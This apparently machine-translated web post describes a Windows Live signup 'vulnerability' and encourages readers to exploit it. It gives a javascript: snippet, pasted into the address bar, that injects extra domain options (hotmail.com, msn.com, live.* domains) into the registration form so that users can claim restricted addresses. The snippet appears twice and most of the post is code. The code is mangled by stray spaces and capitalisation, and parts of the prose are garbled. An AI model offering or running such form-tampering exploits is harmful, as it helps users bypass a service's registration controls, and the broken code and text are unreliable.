Another Windows Live @ live.com domain name registration vulnerability was discovered. Now we only need to use a simple piece of JS Code to add the @ live.com address to the Windows Live registration interface. What surprised us is that, the Entered IP address can be successfully registered to the account! This is another great opportunity. Come and join us!
Update: Update code to provide more domain names, including live.cn.
Simple Method:
1. Enter this page: http://get.live.com/getlive/overview
2. Click "register now ".
3. paste the Code in the following file in the address bar and press Enter:
Copy codeThe Code is as follows:
Javascript: function r (q) {} function s (q) {e [q] = new Option (a [q], a [q])}; r (e = document. getElementById ("idomain "). options); r (d = "live. "); r (a = new Array (" hotmail.com "," hotmail. co. uk "," msn.com ", d +" com ", d +" be ", d +" co. uk ", d +" de ", d +" fr ", d +" it ", d +" nl ", d +" cn ")); for (I = 0; I <. length; I ++) {s (I)} alert ("Success-additional domains added! ");
After analysis:
Copy codeThe Code is as follows:
Javascript:
Function r (q ){}
Function s (q) {e [q] = new Option (a [q], a [q])};
R (e = document. getElementById ("idomain"). options );
R (d = "live .");
R (a = new Array ("hotmail.com", "hotmail. co. uk "," msn.com ", d +" com ", d +" be ", d +" co. uk ", d +" de ", d +" fr ", d +" it ", d +" nl ", d +" cn "));
For (I = 0; I <a. length; I ++ ){
S (I)
}
Alert ("Success-additional domains added! ");